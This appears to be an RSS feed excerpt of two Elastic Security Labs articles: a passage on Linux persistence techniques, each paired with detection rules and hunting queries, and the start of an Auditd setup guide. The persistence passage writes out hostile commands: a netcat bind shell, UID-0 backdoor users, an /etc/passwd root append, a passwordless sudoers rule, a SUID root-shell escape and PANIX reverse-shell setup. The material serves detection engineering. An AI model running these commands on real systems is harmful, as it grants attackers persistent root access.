<p>Volexity recently published research on <a href="https://www.volexity.com/blog/2024/06/13/disgomoji-malware-used-to-target-indian-government/">DISGOMOJI</a> malware, which was found to establish persistence by dropping a <code>.desktop</code> file in the <code>~/.config/autostart/</code> directory, which would execute a malicious backdoor planted on the system. As it can be established with both user/root privileges, it is an interesting candidate for automated persistence implementations. Additionally, more information and real-world examples related to this technique are specified by MITRE in <a href="https://attack.mitre.org/techniques/T1547/013/">T1547.013</a>.</p>
<h3>Persistence through T1547.013 - Cross-Desktop Group (XDG)</h3>
<p>You can determine coverage and dynamically analyze this technique manually or through PANIX. When analyzing this technique, make sure XDG is available on your testing system, as it is designed to be used on systems with a GUI (XDG can also be used without a GUI). When PANIX runs with user privileges, it establishes persistence by modifying <code>~/.config/autostart/user-dirs.desktop</code> to execute <code>~/.config/autostart/.user-dirs</code> and achieve user-specific persistence. With root privileges, it modifies <code>/etc/xdg/autostart/pkc12-register.desktop</code> to execute <code>/etc/xdg/pkc12-register</code> and achieve system-wide persistence.</p>
<pre><code>sudo ./panix.sh --xdg --default --ip 192.168.1.1 --port 2005
[+] XDG persistence established.
</code></pre>
<p>After rebooting the system and collecting the logs, the following events will be present for a GNOME-based system.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image7.png" alt="Events generated as a result of XDG persistence establishment" title="Events generated as a result of XDG persistence establishment" /></p>
<p>We can see PANIX creating the <code>/etc/xdg/autostart</code> directory and the <code>pkc12-register/pkc12-register.desktop</code> files. It grants execution privileges to the backdoor script, after which persistence is established. When the user logs in, the <code>.desktop</code> files are parsed, and <code>/usr/libexec/gnome-session-binary</code> executes its contents, which in turn initiates the reverse shell connection. Here, again, we can detect several parts of the attack chain.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_kde_autostart_modification.toml">Persistence via KDE AutoStart Script or Desktop File Modification</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_xdg_autostart_netcon.toml">Network Connections Initiated Through XDG Autostart Entry</a></td>
</tr>
</tbody>
</table>
<p>Again, the file category has two different rules: the former focuses on creation/modification using Elastic Defend, while the latter focuses on modification through FIM.</p>
<h3>Hunting for T1547.013 - XDG autostart entries</h3>
<p>Hunting for persistence through XDG involves XDG <code>.desktop</code> file creations in known locations and unusual child processes spawned from a session-manager parent through ES|QL and OSQuery. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_xdg_autostart_modifications.toml">XDG Persistence</a> hunting rule contains several queries to hunt for XDG persistence.</p>
<h2>T1548.001 - abuse elevation control mechanism: setuid and setgid</h2>
<p><a href="https://man7.org/linux/man-pages/man2/setuid.2.html">Set Owner User ID (SUID)</a> and <a href="https://man7.org/linux/man-pages/man2/setgid.2.html">Set Group ID (SGID)</a> are Unix file permissions allowing users to run executables with the executable’s owner or group permissions, respectively. When the SUID bit is set on an executable owned by the root user, any user running the executable gains root privileges. Similarly, when the SGID bit is set on an executable, it runs with the permissions of the group that owns the file.</p>
<p>Typical targets for SUID and SGID backdoors include common system binaries like <code>find</code>, <code>vim</code>, or <code>bash</code>, frequently available and widely used. <a href="https://gtfobins.github.io/#+suid">GTFOBins</a> provides a list of common Unix binaries that can be exploited to obtain a root shell or unauthorized file reads. System administrators must be cautious when managing SUID and SGID binaries, as improperly configured permissions can lead to significant security vulnerabilities.</p>
<p>To exploit this, either a misconfigured SUID or SGID binary must be present on the system, or root-level privileges must be obtained to create a backdoor. Typical privilege escalation enumeration scripts enumerate the entire filesystem for the presence of these binaries using <code>find</code>.</p>
<p>SUID and SGID binaries are common on Linux and are available on the system by default. Generally, these cannot be exploited. An example of a misconfigured SUID binary looks like this:</p>
<pre><code>find / -perm -4000 -type f -exec ls -la {} \;
-rwsr-sr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
</code></pre>
<p>The <code>/bin/bash</code> binary is not a default SUID binary and causes a security risk. An attacker could now run <code>/bin/bash -p</code> to run bash and keep the root privileges on execution. More information on this is available at <a href="https://gtfobins.github.io/gtfobins/bash/">GTFOBins</a>. Although MITRE defines this as privilege escalation/defense evasion, it can (as shown) be used for persistence as well. More information by MITRE on this technique is available at <a href="https://attack.mitre.org/techniques/T1548/001/">T1548.001</a>.</p>
<h3>Persistence through T1548.001 - setuid and setgid</h3>
<p>This method requires root privileges, as it sets the SUID bit to a set of executables:</p>
<pre><code>sudo ./panix.sh --suid --default
[+] SUID privilege granted to /usr/bin/find
[+] SUID privilege granted to /usr/bin/dash
[-] python is not present on the system.
[+] SUID privilege granted to /usr/bin/python3                                                                                       
</code></pre>
<p>After setting SUID permissions to the binary, it can be executed in a manner that will allow the user to keep the root privileges:</p>
<pre><code>
/usr/bin/find . -exec /bin/sh -p \; -quit
whoami
root
</code></pre>
<p>Looking at the events this generates, we can see a discrepancy between the user ID and real user ID:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image8.png" alt="Events generated as a result of SUID/SGID persistence establishment" title="Events generated as a result of SUID/SGID persistence establishment" /></p>
<p>After executing PANIX with <code>sudo</code>, SUID permissions were granted to <code>/usr/bin/find</code>, <code>/usr/bin/dash</code>, and <code>/usr/bin/python3</code> using <code>chmod</code>. Subsequently, <code>/usr/bin/find</code> was utilized to run <code>/bin/sh</code> with privileged mode (<code>-p</code>) to obtain a root shell. Typically, the real user ID of a process matches the effective user ID. However, there are exceptions, such as when using <code>sudo</code>, <code>su</code>, or, as demonstrated here, a SUID binary, where the real user ID differs. Using our knowledge of GTFOBins and the execution chain, we can detect several indicators of SUID and SGID abuse.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/discovery_suid_sguid_enumeration.toml">SUID/SGUID Enumeration Detected</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/privilege_escalation_potential_suid_sgid_exploitation.toml">Setuid / Setgid Bit Set via chmod</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/privilege_escalation_setuid_setgid_bit_set_via_chmod.toml">Privilege Escalation via SUID/SGID</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for T1548.001 - setuid and setgid</h3>
<p>The simplest and most effective way of hunting for SUID and SGID files is to search the filesystem for these files through OSQuery and take note of unusual ones. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/privilege_escalation_via_suid_binaries.toml">OSQuery SUID Hunting</a> rule can help you to hunt for this technique.</p>
<h2>T1548.003 - abuse elevation control mechanism: sudo and sudo caching (sudoers file modification)</h2>
<p>The <code>sudo</code> command allows users to execute commands with superuser or other user privileges. The sudoers file manages <a href="https://linux.die.net/man/5/sudoers">sudo permissions</a>, which dictates who can use sudo and what commands they can run. The main configuration file is located at <code>/etc/sudoers</code>.</p>
<p>This file contains global settings and user-specific rules for sudo access. Additionally, there is a directory used to store additional sudoers configuration files at <code>/etc/sudoers.d/</code>. Each file in this directory is treated as an extension of the main sudoers file, allowing for modular and organized sudo configurations.</p>
<p>Both system administrators and threat actors can misconfigure the sudoers file and its extensions. A common accidental misconfiguration might be overly permissive rules that grant users more access than necessary. Conversely, a threat actor with root access can deliberately modify these files to ensure they maintain elevated access.</p>
<p>An example of a misconfiguration or backdoor that allows an attacker to run any command as any user without a password prompt looks like this:</p>
<pre><code>Attacker ALL=(ALL) NOPASSWD:ALL
</code></pre>
<p>By exploiting such misconfigurations, an attacker can maintain persistent root access. For example, with the above backdoored configuration, the attacker can gain a root shell by executing <code>sudo /bin/bash</code>. Similarly to the previous technique, this technique is also classified as privilege escalation/defense evasion by MITRE. Of course, this is again true, but it is also a way of establishing persistence. More information on T1548.003 can be found <a href="https://attack.mitre.org/techniques/T1548/003/">here</a>.</p>
<h3>Persistence through T1548.003 - sudoers file modification</h3>
<p>The <code>sudo -l</code> command can be used to list out the allowed (and forbidden) commands for the user on the current host. By default, a non-root user cannot run any commands using sudo without specifying a password.</p>
<pre><code>sudo -l
[sudo] password for attacker:
</code></pre>
<p>Let’s add a backdoor entry for the <code>attacker</code> user:</p>
<pre><code>sudo ./panix.sh --sudoers --username attacker
[+] User attacker can now run all commands without a sudo password.
</code></pre>
<p>After adding a backdoor in the sudoers file and rerunning the <code>sudo -l</code> command, we see that the attacker can now run any command on the system with sudo without specifying a password.</p>
<pre><code>&gt; sudo -l
&gt; User attacker may run the following commands on ubuntu-persistence-research:
&gt;  (ALL : ALL) ALL
&gt;  (ALL) NOPASSWD: ALL 
</code></pre>
<p>After planting this backdoor, not much traces are left behind, other than the creation of the <code>/etc/sudoers.d/attacker</code> file.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/image6.png" alt="Events generated as a result of sudoers file modification persistence establishment" title="Events generated as a result of sudoers file modification persistence establishment" /></p>
<p>This backdoor can also be established by adding to the <code>/etc/sudoers</code> file, which would not generate a file creation event. This event can be captured via FIM.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/privilege_escalation_sudoers_file_mod.toml">Sudoers File Modification</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/privilege_escalation_echo_nopasswd_sudoers.toml">Potential Privilege Escalation via Sudoers File Modification</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for T1548.003 - sudoers file modification</h3>
<p>OSQuery provides a module that displays all sudoers files and rules through a simple and effective live hunt, available at <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/privilege_escalation_via_existing_sudoers.toml">Privilege Escalation Identification via Existing Sudoers File</a>.</p>
<h2>T1098/T1136 - account manipulation/creation</h2>
<p>Persistence can be established through the creation or modification of user accounts. By manipulating user credentials or permissions, attackers can ensure long-term access to a compromised system. This section covers various methods of achieving persistence through user account manipulation. MITRE divides this section into <a href="https://attack.mitre.org/techniques/T1098/">T1098</a> (account manipulation) and <a href="https://attack.mitre.org/techniques/T1136/">T1136</a> (create account).</p>
<h3>T1136.001 - create account: local account</h3>
<p>Creating a new user account is a straightforward way to establish persistence. An attacker with root privileges can add a new user, ensuring they maintain access to the system even if other backdoors are removed. For example:</p>
<pre><code>useradd -m -s /bin/bash backdooruser
echo 'backdooruser:password' | chpasswd
</code></pre>
<p>This creates a new user called <code>backdooruser</code> with a password of <code>password</code>.</p>
<h3>T1098 - account manipulation: user credential modification</h3>
<p>Modifying the credentials of an existing user can also provide persistent access. This might involve changing the password of a privileged user account.</p>
<pre><code>echo 'targetuser:newpassword' | chpasswd
</code></pre>
<p>This changes the password for <code>targetuser</code> to <code>newpassword</code>.</p>
<h3>T1098 - account manipulation: direct /etc/passwd file modification</h3>
<p>Directly writing to the <code>/etc/passwd</code> file is another method for modifying user accounts. This approach allows attackers to manually add or modify user entries, potentially avoiding detection.</p>
<pre><code>echo &quot;malicioususer:&lt;openssl-hash&gt;:0:0:root:/root:/bin/bash&quot; &gt;&gt; /etc/passwd
</code></pre>
<p>Where <code>&lt;;openssl-hash&gt;</code> is a hash that can be generated through <code>openssl passwd &quot;$password&quot;.</code></p>
<p>The command above creates a new user <code>malicioususer</code>, adds them to the <code>sudo group</code>, and sets a password. Similarly, this attack can be performed on the <code>/etc/shadow</code> file, by replacing the hash for a user’s password with a known hash.</p>
<h3>T1136.001 - create account: backdoor user creation</h3>
<p>A backdoor user is a user account created or modified specifically to maintain access to the system. This account often has elevated privileges and is intended to be difficult to detect. One method involves creating a user with a UID of 0, effectively making it a root-equivalent user. This approach is detailed in a blog post called <a href="https://embracethered.com/blog/posts/2021/linux-user-uid-zero-backdoor/">Backdoor users on Linux with uid=0</a>.</p>
<pre><code>useradd -ou 0 -g 0 -m -d /root -s /bin/bash backdoorroot
echo 'backdoorroot:password' | chpasswd
</code></pre>
<p>This creates a new user <code>backdoorroot</code> with UID 0, giving it root privileges.</p>
<h3>T1098 - account manipulation: user added to privileged group</h3>
<p>Adding an existing user to a privileged group, such as the sudo group, can elevate their permissions, allowing them to execute commands with superuser privileges.</p>
<pre><code>usermod -aG sudo existinguser
</code></pre>
<p>This adds <code>existinguser</code> to the sudo group.</p>
<h3>Persistence through T1098/T1136 - account manipulation/creation</h3>
<p>All of these techniques are trivial to execute manually, but they are also built into PANIX in case you want to analyze the logs using a binary rather than a manual action. As the events generated by these techniques are not very interesting, we will not analyze them individually. We detect all the techniques described above through a vast set of detection rules.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_user_password_change.toml">Shadow File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_linux_backdoor_user_creation.toml">Potential Linux Backdoor User Account Creation</a></td>
</tr>
<tr>
<td>IAM</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_linux_group_creation.toml">Linux Group Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_linux_user_added_to_privileged_group.toml">Linux User Added to Privileged Group</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_linux_user_account_creation.toml">Linux User Account Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_user_or_group_creation_or_modification.toml">User or Group Creation/Modification</a></td>
</tr>
</tbody>
</table>
<h3>Hunting for T1098/T1136 - account manipulation/creation</h3>
<p>There are many ways to hunt for these techniques. The above detection rules can be added as a timelines query to look back at a longer duration of time, the <code>/var/log/auth.log</code> (and equivalents on other Linux distributions) can be parsed and read, and OSQuery can be leveraged to read user info from a running system. The <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_user_group_creation_modification.toml">Privilege Escalation/Persistence via User/Group Creation and/or Modification</a> hunt rule contains several OSQuery queries to hunt for these techniques.</p>
<h2>T1098.004 - account manipulation: SSH</h2>
<p><a href="https://linux.die.net/man/1/ssh">Secure Shell (SSH)</a> is a protocol to securely access remote systems. It leverages public/private key pairs to authenticate users, providing a more secure alternative to password-based logins. The SSH keys consist of a private key, kept secure by the user, and a public key, shared with the remote system.</p>
<p>The default locations for user-specific SSH key files and configuration files are as follows:</p>
<ul>
<li><code>~/.ssh/id_rsa</code></li>
<li><code>~/.ssh/id_rsa.pub</code></li>
<li><code>~/.ssh/authorized_keys</code></li>
<li><code>/root/.ssh/id_rsa</code></li>
<li><code>/root/.ssh/id_rsa.pub</code></li>
<li><code>/root/.ssh/authorized_keys</code></li>
</ul>
<p>A system-wide configuration is present in:</p>
<ul>
<li><code>/etc/ssh/</code></li>
</ul>
<p>The private key remains on the client machine, while the public key is copied to the remote server’s <code>authorized_keys</code> file. This setup allows the user to authenticate with the server without entering a password.</p>
<p>SSH keys are used to authenticate remote login sessions via SSH and for services like Secure Copy Protocol (SCP) and Secure File Transfer Protocol (SFTP), which allow secure file transfers between machines.</p>
<p>An attacker can establish persistence on a compromised host by adding their public key to the <code>authorized_keys</code> file of a user with sufficient privileges. This ensures they can regain access to the system even if the user changes their password. This persistence method is stealthy as built-in shell commands can be used, which are commonly more difficult to capture as a data source. Additionally, it does not rely on creating new user accounts or modifying system binaries.</p>
<h3>Persistence through T1098.004 - SSH modification</h3>
<p>Similar to previously, PANIX can be used to establish persistence through SSH. It can also be tested by manually adding a new key to <code>~/.ssh/authorized_keys</code>, or by creating a new public/private key pair on the system. If you want to test these techniques, you can execute the following PANIX command to establish persistence by creating a new key:</p>
<pre><code>./panix.sh --ssh-key --default
SSH key generated:
Private key: /home/user/.ssh/id_rsa18220
Public key: /home/user/.ssh/id_rsa1822.pub
[+] SSH key persistence established.
</code></pre>
<p>Use the following PANIX command to add a new public key to the authorized_keys file:</p>
<pre><code>./panix.sh  --authorized-keys --default --key &lt;key&gt;
[+] Persistence added to /home/user/.ssh/authorized_keys
</code></pre>
<p>For file modification events, we can leverage FIM. We have several detection rules covering this technique in place.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_ssh_key_generation.toml">SSH Key Generated via ssh-keygen</a></td>
</tr>
</tbody>
</table>
<p>A note on leveraging the “Potential Persistence via File Modification” rule: due to the limitation of leveraging wildcards in FIM, the FIM configuration should be adapted to represent your environment’s public/private key and authorized_keys file locations. MITRE provides additional information on this technique in <a href="https://attack.mitre.org/techniques/T1098/004/">T1098.004</a>.</p>
<h3>Hunting for T1098.004 - SSH modification</h3>
<p>The main focuses while hunting for SSH persistence are newly added public/private keys, file changes related to the <code>authorized_keys</code> files, and configuration changes. We can leverage OSQuery to hunt for all three through the queries in the <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_via_ssh_configurations_and_keys.toml">Persistence via SSH Configurations and/or Keys</a> hunt.</p>
<h2>T1059.004 - command and scripting interpreter: bind shells</h2>
<p><a href="https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/">A bind shell</a> is a remote access tool allowing an attacker to connect to a compromised system. Unlike reverse shells, which connect back to the attacker’s machine, a bind shell listens for incoming connections on the compromised host. This allows the attacker to connect at will, gaining command execution on the target machine.</p>
<p>A bind shell typically involves the following steps:</p>
<ol>
<li>Listening Socket: The compromised system opens a network socket and listens for incoming connections on a specific port.</li>
<li>Binding the Shell: When a connection is established, the system binds a command shell (such as <code>/bin/bash</code> or <code>/bin/sh</code>) to the socket.</li>
<li>Remote Access: The attacker connects to the bind shell using a network client (like <code>netcat</code>) and gains access to the command shell on the compromised system.</li>
</ol>
<p>An attacker can set up a bind shell in various ways, ranging from simple one-liners to more sophisticated scripts. Here is an example of a bind shell using the traditional version of netcat:</p>
<pre><code>nc -lvnp 9001 -e /bin/bash
</code></pre>
<p>Once the bind shell is set up, the attacker can connect to it from their machine:</p>
<pre><code>nc -nv &lt;target_ip&gt; 4444
</code></pre>
<p>To maintain persistence, the bind shell must be set to start automatically upon system boot or reboot. This can be achieved through various methods we discussed earlier, such as <code>cron</code>, <code>Systemd,</code> or methods discussed in the next part of this Linux detection engineering series.</p>
<p>MITRE does not have a specific bind/reverse-shell technique, and probably classifies bind shells as the execution technique. However, the bind shell is used for persistence in our use case. Some more information from MITRE on bind/reverse shells is available at <a href="https://attack.mitre.org/techniques/T1059/004/">T1059.004</a>.</p>
<h3>Persistence through T1059.004 - bind shells</h3>
<p>Detecting bind shells through behavioral rules is inherently challenging because their behavior is typically benign and indistinguishable from legitimate processes. A bind shell opens a network socket and waits for an incoming connection, a common activity for many legitimate services. When an attacker connects, it merely results in a network connection and the initiation of a shell session, which are both normal operations on a system.</p>
<p>Due to behavioral detection's limitations, the most reliable method for identifying bind shells is static signature detection. This approach involves scanning the file system or memory for known shellcode patterns associated with bind shells.</p>
<p>By leveraging static signatures, we can identify and prevent bind shells more effectively than relying solely on behavioral analysis. This approach helps detect the specific code sequences used by bind shells, regardless of their behavior, ensuring a more robust defense against this type of persistence mechanism.</p>
<p>As all of our signature-based detections are open-source, you can check them out by visiting our <a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules">protections-artifacts YARA repository</a>. If you want to analyze this method within your tooling, you can leverage PANIX to set up a bind shell and connect to it using <code>nc</code>. To do so, execute the following command:</p>
<pre><code>./panix.sh --bind-shell --default --architecture x64
[+] Bind shell /tmp/bd64 was created, executed and backgrounded.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv &lt;IP&gt; 9001
[+] Bind shell persistence established!
</code></pre>
<h3>Hunting for T1059.004 - bind shells</h3>
<p>Although writing solid behavioral detection rules that do not provide false positives on a regular basis is near impossible, hunting for them is not. Based on the behavior of a bind shell, we know that we can look for long running processes, listening ports and listening sockets. To do so, we can leverage OSQuery. Several hunts are available for this scenario within the <a href="https://github.com/elastic/detection-rules/blob/main/hunting/linux/queries/persistence_reverse_bind_shells.toml">Persistence Through Reverse/Bind Shells</a> hunting rule.</p>
<h2>T1059.004 - command and scripting interpreter: reverse shells</h2>
<p>Reverse shells are utilized in many of the persistence techniques discussed in this article and will be further explored in upcoming parts. While specific rules for detecting reverse shells were not added to many of the techniques above, they are very relevant. To maintain consistency and ensure comprehensive coverage, the following detection and endpoint rules are included to capture these persistence mechanisms.</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_suspicious_execution_via_setsid_and_nohup.toml">Suspicious Execution via setsid and nohup</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_suspicious_execution_via_a_hidden_process.toml">Suspicious Execution via a Hidden Process</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_linux_reverse_shell.toml">Linux Reverse Shell</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_linux_reverse_shell_via_child.toml">Linux Reverse Shell via Child</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_linux_reverse_shell_via_netcat.toml">Linux Reverse Shell via Netcat</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_linux_reverse_shell_via_suspicious_utility.toml">Linux Reverse Shell via Suspicious Utility</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_reverse_shell_via_setsid_and_nohup.toml">Linux Reverse Shell via setsid and nohup</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_shell_via_meterpreter_linux.toml">Potential Meterpreter Reverse Shell</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_shell_via_udp_cli_utility_linux.toml">Potential Reverse Shell via UDP</a></td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>In this part of the “Linux Detection Engineering” series, we looked into the basics of Linux persistence. If you missed the first part of the series, which focused on detection engineering with Auditd, you can catch up <a href="https://www.elastic.co/de/security-labs/linux-detection-engineering-with-auditd">here</a>. This article explored various persistence techniques, including scheduled tasks, systemd services, shell profile modifications, XDG autostart configurations, SUID/SGID binaries, sudoers rules, user and group creations/modifications, SSH key, and authorized_key modifications, bind and reverse shells.</p>
<p>Not only did the explanation cover how each persistence method operates, but it also provided practical demonstrations of configuring them using a straightforward tool called <a href="https://github.com/Aegrah/PANIX">PANIX</a>. This hands-on approach enabled you to test the coverage of these techniques using your preferred security product. Additionally, we discussed hunting strategies for each method, ranging from ES|QL aggregation queries to live hunt queries with OSQuery.</p>
<p>We hope you found this format helpful. In the next article, we'll explore more advanced and lesser-known persistence methods used in the wild. Until then, happy hunting!</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/primer-on-persistence-mechanisms/primer-on-persistence-mechanisms.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Linux detection engineering with Auditd]]></title>
            <link>https://www.elastic.co/de/security-labs/linux-detection-engineering-with-auditd</link>
            <guid>linux-detection-engineering-with-auditd</guid>
            <pubDate>Tue, 09 Apr 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[In this article, learn more about using Auditd and Auditd Manager for detection engineering.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Unix and Linux systems operate behind the scenes, quietly underpinning a significant portion of our technological infrastructure. With the increasing complexity of threats targeting these systems, ensuring their security has become more important than ever.</p>
<p>One of the foundational tools in the arsenal of security detection engineers working within Unix and Linux systems is <a href="https://linux.die.net/man/8/auditd">Auditd</a>. This powerful utility is designed for monitoring and recording system events, providing a detailed audit trail of who did what and when. It acts as a watchdog, patrolling and recording detailed information about system calls, file accesses, and system changes, which are crucial for forensic analysis and real-time monitoring.</p>
<p>The objective of this article is multifaceted:</p>
<ol>
<li>We aim to provide additional information regarding Auditd, showcasing its capabilities and the immense power it holds in security detection engineering.</li>
<li>We will guide you through setting up Auditd on your own systems, tailoring it to meet your specific monitoring needs. By understanding how to create and modify Auditd rules, you will learn how to capture the exact behavior you're interested in monitoring and interpret the resulting logs to create your own detection rules.</li>
<li>We'll introduce Auditd Manager, an integration tool that enhances Auditd’s utility by simplifying the management of Auditd across systems.</li>
</ol>
<p>By the end of this post, you'll not only learn how to employ Auditd Manager to incorporate some of our <a href="https://github.com/elastic/detection-rules/tree/main/rules">pre-built detection rules</a> into your security strategy, but also gain a comprehensive understanding of Auditd and how to leverage it to build your own detection rules as well.</p>
<h2>Introduction to Auditd</h2>
<p>Auditd is a Linux tool designed for monitoring and recording system events to provide a comprehensive audit trail of user activities, system changes, and security access. Auditd operates by hooking into the Linux kernel, capturing detailed information about system calls and other system events as they happen. These events are then logged to a file, providing a timestamped record. Administrators can define rules that specify which events to log, offering the flexibility to focus on specific areas of interest or concern. The logged data can be used for a variety of purposes, from compliance auditing to detailed forensic analysis.</p>
<h2>Auditd setup</h2>
<p>To get started with Auditd, Elastic provides several options:</p>
<ul>
<li><a href="https://www.elastic.co/de/guide/en/beats/auditbeat/current/auditbeat-module-auditd.html">Auditbeat’s Auditd module</a></li>
<li><a href="https://www.elastic.co/de/guide/en/beats/filebeat/current/filebeat-module-auditd.html">Filebeat’s Auditd module</a></li>
<li><a href="https://docs.elastic.co/en/integrations/auditd">Elastic Agent’s Auditd Logs integration</a></li>
<li><a href="https://docs.elastic.co/integrations/auditd_manager">Elastic Agent’s Auditd Manager integration</a></li>
</ul>
<p>In this article, we will focus on the latter two, leveraging the <a href="https://www.elastic.co/de/elastic-agent">Elastic Agent</a> to easily ingest logs into Elasticsearch. If you are new to Elasticsearch you can easily create an <a href="https://www.elastic.co/de/cloud">Elastic Cloud Account</a> with a 30-day trial license, or for local testing, you can download The <a href="https://github.com/peasead/elastic-container">Elastic Container Project</a> and set the license value to trial in the .env file.</p>
<p>Feel free to follow along using Auditbeat or Filebeat - for setup instructions, consult the documentation linked above. As the Auditd Logs integration works by parsing the audit.log file, you are required to install Auditd on the Linux host from which you wish to gather the logs. Depending on the Linux distribution and the package manager of choice, the Auditd package should be installed, and the Auditd service should be started and enabled. For Debian-based distributions:</p>
<pre><code>sudo apt update
sudo apt install auditd
sudo systemctl start auditd
sudo systemctl enable auditd
</code></pre>
<p>The <code>/var/log/audit/audit.log</code> file should now be populated with Auditd logs. Next, you need to install the Auditd Logs integration, create an agent policy in Fleet with the newly installed integration, and apply the integration to a compatible Elastic Agent with Auditd installed.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image24.png" alt="Auditd Logs integration page in Elastic" /></p>
<p>The default settings should suffice for most scenarios. Next, you need to add the integration to an agent policy, and add the agent policy to the Elastic Agents from which you want to harvest data. The Elastic Agent ships the logs to the logs-auditd.log-[namespace] datastream. You can now <a href="https://www.elastic.co/de/guide/en/kibana/current/data-views.html">create a new data view</a> to only match our incoming Auditd logs.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/linux-detection-engineering-with-auditd/image33.png" alt="New data view" /></p>
<p>You can now explore the ingested Auditd logs. But as you will quickly notice, Auditd does not log much by default – you must leverage Auditd rules to unlock its full potential.</p>
<h2>Auditd rules</h2>
<p>Auditd rules are directives used to specify which system activities to monitor and log, allowing for granular control over the security auditing process. These rules are typically configured in the <code>/etc/audit/audit.rules</code> file. Auditd rules come in 3 varieties: <code>control</code>, <code>file</code>, and <code>syscall</code>. More information can be found <a href="https://linux.die.net/man/7/audit.rules">here</a>.</p>
<h3>Control type rules</h3>
<p>The control type is, in most cases, used to configure Auditd rather than specifying the events to monitor. By default, the audit rules file contains the following control type settings:</p>
<pre><code>-D
-b 8192
-f 1
--backlog_wait_time 60000
</code></pre>
<ul>
<li><code>-D</code>: delete all rules on launch (Auditd parses the rules in the file from top to bottom. Removing all rules on launch ensures a clean configuration).</li>
<li><code>-b 8192</code>: set the maximum amount of existing Audit buffers in the kernel.</li>
<li><code>-f 1</code>: set the failure mode of Auditd to log.</li>
